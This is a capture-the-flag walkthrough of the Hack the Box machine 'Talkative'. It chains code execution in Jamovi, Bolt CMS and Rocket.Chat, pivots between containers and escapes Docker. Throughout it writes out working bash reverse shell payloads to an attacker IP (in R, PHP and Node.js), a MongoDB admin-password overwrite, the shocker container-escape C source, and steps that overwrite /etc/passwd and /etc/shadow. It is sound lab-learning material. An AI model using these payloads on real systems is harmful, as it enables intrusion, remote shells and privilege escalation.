Go Back

Talkative - Hack the Box


A hard rated Hack the Box machine which involves pivoting between multiple containers, modifying data MongoDB and Exploiting Linux Capabilities.

Recon / Enumeration

To start the recon / enumeration phase I started with a full Nmap TCP Syn scan which revealed ssh as well as multiple web servers running on a Debian machine.

nmap -Pn -T4 -sV -sC -O -p- -oN scans/nmap.tcp $IP

PORT     STATE    SERVICE VERSION
22/tcp   filtered ssh
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Talkative.htb | Talkative
|_http-generator: Bolt
|_http-server-header: Apache/2.4.52 (Debian)
3000/tcp open  ppp?
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 200 OK
|     X-XSS-Protection: 1
|     X-Instance-ID: cFyFGjui7K967ExRb
|     Content-Type: text/html; charset=utf-8
|     Vary: Accept-Encoding
|     Date: Fri, 15 Apr 2022 16:46:21 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <meta charset="utf-8" />
|     <meta http-equiv="content-type" content="text/html; charset=utf-8" />
|     <meta http-equiv="expires" content="-1" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <meta name="fragment" content="!" />
|     <meta name="distribution" content="global" />
|     <meta name="rating" content="general" />
|     <meta name="mobile-web-app-capable" content="yes" />
|     <meta name="apple-mobile-web-app-capable" conten
|   Help, NCP:
|_    HTTP/1.1 400 Bad Request
8080/tcp open  http    Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open  http    Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open  http    Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0

As we can see above, there are 5 web servers and ssh, which seems to be filtered, probably due to a firewall.

Let's start enumerating the web servers.

Port Service
80 Webpage Promoting Talkative company and their applications.
3000 Rocketchat application
8080 Jamovi spreadsheet application
8081 Nothing seems to be there.
8082 Nothing seems to be there.

Port 80 Apache httpd 2.4.52

Apache is a recent version so no easy wins there. Let's do some subdirectory brute forcing with Gobuster.

index

gobuster dir -u http:/.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php -o scans/go80.out

Gobuster

The /bolt directory with a 302 redirect to /bolt/login looks interesting, it is probably Bolt CMS. Let's check it out.

bolt

Indeed it is, we have the login page for Bolt CMS. I then did the following:

1.  Checked for default / common credentials such as admin:admin, admin:password
2.  Tested for SQLi in the username and password fields
3.  SQLMap again the login form

All were unsuccessful so I decided to move on and come back to the page later.

Port 3000 Unknown Point to Point Protocol WebServer

Rocket.Chat

The Rocket.Chat chat room application is running on port 3000. We are unaware of the version number and we are not able to login with default/guessable credentials. I decided to move on and come back to this later as we might be able to enumerate more information that can get us logged in. As the box is named Talkative, I assume that this will play a role in some part of the exploitation of this box.

Port 8080 Tornado httpd 5.0

There is a spreadsheet web app called Jamovi running on port 8080. As you can see below there is a security warning on the page warning us that this is an insecure version of the application. This could be a possible attack vector.

Jamovi


Foothold

Looking for possible exploits online I found an RCE exploit, located here, which requires a crafted .omv file containing a reverse shell to be open by the application. However, we do not have the ability to import or upload files so this will not work in our case.

Exploring the functionality of the web app more, I noticed that there is something called the rj editor available to us. Reading a Jamovi blog post here I found that this allows us to insert our own code in the R Programming language giving the user the ability to create custom functions within Jamovi.

Jamovi R

Reading more about the R programming language I learned that this a server side language with the with the ability to perform syscalls. Looking up the syntax here I found we can use:

system("some command 2>&1", intern = TRUE)

Let's see if we have code execution: Jamovi Root Shell Code execution confirmed!

I then tried to insert a bash payload and catch it using Pwncat.

Pwncat listener: pwncat-cs -lp 9001

Payload: system("bash -c 'exec bash -i &>/dev/tcp/10.10.14.19/9001 <&1'", intern = TRUE)

Jamovi Root Shell

And voila, we have our first of many shells on this box. The hostname hints that this is some kind of container. Furthermore, we have limited options available to us here with many of the common Linux tools such as ifconfig, wget and curl unavailable to us. However, we do have an interesting file in our current directory. I decided to download it to my machine using Pwncat's download feature for further analysis.

Jamovi Root Shell


User

Extracting the bolt-administration.omv with unzip on my attacker machine I found there is a json file within the .omv (xdata.json) which contains credentials.

Credentials

matt:jeO09ufhWD<s
janit:bZ89h}V<S_DA
saul:)SQWGm>9KHEA

Let's go back to the two login pages we came across earlier and see can we login with these credentials.

We are unable to login to Rocket.Chat with these credentials however we get access to Bolt CMS with username admin and one of the passwords found.

Bolt Dashboard

We are the admin Saul in the Bolt CMS dashboard. Since we are an admin we can probably edit some of the configuration files which might give us code execution back on the box, hopefully with more privileges.

Exploring the web app I find that I can edit some PHP files which run on the web server hosting the application (Configuration > All configuration files). I decided insert PHP code into the bundles.php file to test for command execution. Since this will probably be blind command execution I decided to use a php sleep() command.

<?php
    sleep(10);
?>

When I save the file and refresh the page it stalls for 10 seconds and then the page reloads. Command execution confirmed.

Now lets try and get a reverse shell with Pwncat just like we did before.

Pwncat listener: pwncat-cs -lp 9002

Payload:

<?php
    passthru('bash -c "exec bash -i &>/dev/tcp/10.10.14.19/9002 <&1"');
?>

We get a shell in another container as www-data.

Bolt www-data

Looking around this container we have very little available to us. It is even more restricted than the previous container, there is not even python installed but we do have ssh.

If you remember, our nmap scan showed the ssh is filtered by the firewall from our attacker machine, however we can try and pivot to the host with ssh from the compromised container trying the credentials we found.

ssh saul@10.129.118.93

We are now on the host talkative as Saul and find the user flag in his home directory.

User Flag


Root

Looking around talkative, there does not seem to be much we can do to directly escalate our privileges to root.

Easy Priv Esc Checks

  • Saul is not part of any groups apart from his own
  • Saul is not in the /etc/sudoers file
  • The Kernel is not vulnerable to local kernel exploits
  • There are no interesting SUID binaries
  • There are no interesting scripts running as root we can exploit
  • There are no interesting cron jobs running

Doing some research I found that Rocket.Chat uses MongoDB on the backend as a database. I decided to see if MongoDB was listening on it's standard TCP port of 27017.

Mongo Port

Furthermore, as we can see below the Rocket.Chat container is running as root. If we can get access to that container and break out of it we should be the root on the host.

Rocket Container

MongoDB is listening running inside of a container 172.17.0.2:27017 which I do not have access to. I decided to forward the port to my attacker machine using Chisel. To do this I uploaded the chisel binary to Saul's home directory and ran the following commands:

Start Chisel server on target machine: ./chisel server -p 1337

Connect to server and forward 172.17.0.2:27017 locally on attacker machine:

./chisel client 10.129.118.93 27017:172.17.0.2:27017

I now have access to MongoDB from my attacker machine and found simply running mongosh gave me access to the database.

Mongo1

Running the following commands I found that there is a DB called Meteor which appears to the Rocket.Chat DB. Within that DB there is a collection (MongoDB terminology for a table) called users which contains a user called admin.

show dbs
use meteor
show collections
db.users.find()

Rocket.Chat stores Bcrypt password hashes in a users table in MongoDB. These are very hard to crack, so I decided to look at the Rocket.Chat documentation to see if there is an easy way update the admin's password.

I found the following article here which lets us run the following command to update the admin password to 12345.

db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })

I now am able to login to Rocket.Chat with the credentials: admin:12345

Rocket.Chat Dashboard

Researching Rocket.Chat vulnerabilities I found this Github Repository here for CVE-2021-22911 which affects version 3.12.1 Rocket Chat and before. It is a Blind NoSQL injection with RCE. Since I already have access to the Rocket.Chat dashboard as an admin we only have to use the RCE portion of this exploit.

Reading the exploit code I found that it creates a WebHook in Rocket.Chat which runs a script on the server which can be called with a GET request to the Rocket.Chat API. More information on Rocket.Chat WebHooks can be found here.

I created an Incoming WebHook in the Rocket.Chat admin dashboard with a bash reverse shell payload and caught it with Pwncat as shown below.

Rocket.Chat Payload

Pwncat Listener:

pwncat-cs -lp 9004

Payload:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "exec bash -i &>/dev/tcp/10.10.14.19/9004 <&1"');

Trigger:

curl http:/.htb:3000/hooks/LkpceHhNzycMXaFGx/pRBRYHTNHTwX
uRjfo3yTTjNrkZG4hYwf8ECSFLhcLJkqwZ8Y

Rocket.Chat Shell

I am now root on the Rocket.Chat container. Since our main goal here is to break out of this container I researched Docker Escapes here and found that there are multiple ways we can escape based on the current Linux Capabilities available to us.

Enumerating the current Linux capabilities I found:

Command: cat /proc/self/status

Output:

CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000

Decoding the hex with command: capsh --decode=00000000a80425fd

Decoded Output:

0x00000000a80425fd=cap_chown,cap_dac_read_search,cap_fowner,cap_fsetid,
cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,
cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

As you can see above the current environment has the cap_dac_read_search Linux Capability assigned. The HackTricks article I just found before mentioned leveraging this capability as one of the possible methods to escape the container.

Doing some more Googling I found an exploit written in C here as well as a very well written blog post by Jen Andre explaining the exploit and the cap_dac_read_search Linux capability in detail here.

main() Function:

int main()
{
	char buf[0x1000];
	int fd1, fd2;
	struct my_file_handle h;
	struct my_file_handle root_h = {
		.handle_bytes = 8,
		.handle_type = 1,
		.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
	};

	fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
	       "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
	       "[***] If you have pending sec consulting, I'll happily     [***]\n"
	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");

	read(0, buf, 1);

	// get a FS reference from something mounted in from outside
	if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
		die("[-] open");

	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
		die("[-] Cannot find valid handle!");

	fprintf(stderr, "[!] Got a final handle!\n");
	dump_handle(&h);

	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
		die("[-] open_by_handle");

	memset(buf, 0, sizeof(buf));
	if (read(fd2, buf, sizeof(buf) - 1) < 0)
		die("[-] read");

	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);

	close(fd2); close(fd1);

	return 0;
}

I noticed the comment // get a FS reference from something mounted in from outside. I decided to check what is in the container from the host.

Command: mount

Mounted from the host:

/dev/mapper/ubuntu--vg-ubuntu--lv on /app/uploads type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/resolv.conf type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hosts type ext4 (rw,relatime)

The exploit is looking for a file called .dockerinit but this is not mounted in our case. I replaced this file with /ect/hosts file as the output of the mount above shows us that this is mounted from the host.

Edited code:

// get a FS reference from something mounted in from outside
	if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
		die("[-] open");

	if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
		die("[-] Cannot find valid handle!");

I also replaced the /etc/shadow file with /root/root.txt as this is the file we want to read. I compiled the binary on the host machine as Saul using the command cc -Wall -std=c99 -O2 shocker.c -static -o shocked as mentioned in exploit instructions transferred the exploit binary to my machine and then to the container using Pwncat. After running the exploit binary in the container I was able to read the root flag!

Root Flag


Going Further!

After getting the root flag I was not completely satisfied as I did not get a root shell on the box. After some more research I was able to find a brilliant github repo here further explaining all of the possibilities of exploiting Linux capabilities. It also included a modified version of the shocker exploit which gives us the ability to overwrite files.

The method is as follows:

  1. Use the original shocker exploit to get the /ect/passwd and /etc/shadow files
  2. Choose a password and hash it
  3. Modify our copy of the /etc/passwd file to add a new root user, Bob lets
  4. Modify our copy of the /etc/shadow file to add Bob's password hash (from step 2) our newly created password hash
  5. Use the modified shocker exploit to rewrite the /etc/passwd file with out updated version
  6. su from Saul to our new root Bob

Create a password hash for password "password":

mkpasswd -m SHA-512 password

Output:

$6$KUOvJLqzVp9.mkCs$O561ozTdsE.kiMa9TbiFKa3PICvFYZBu30cZ.KGXEpd7wxwnaSDhgqz2.
VIFBRYJXNiDdx4UY/SNq6qwLQLGr.

Modified passwd file /etc/passwd

Modified shadow file /etc/shadow

Overwrite the /etc/passwd file on the host with our new version:

./shocker_write /etc/passwd passwd
./shocker_write /etc/shadow shadow

su from saul to bob with password "password" Root Shell

There we go, we got our root shell! Just for your information there is a cron job running which restores the original /etc/password and /etc/shadow files every minute so you need to be quick!


Summary

This is one of the best Hack the Box machines I have ever completed, a massive thank you to TheCyberGeek and JDgodd for creating such a fun box. Please be sure to give them respect on Hack the Box.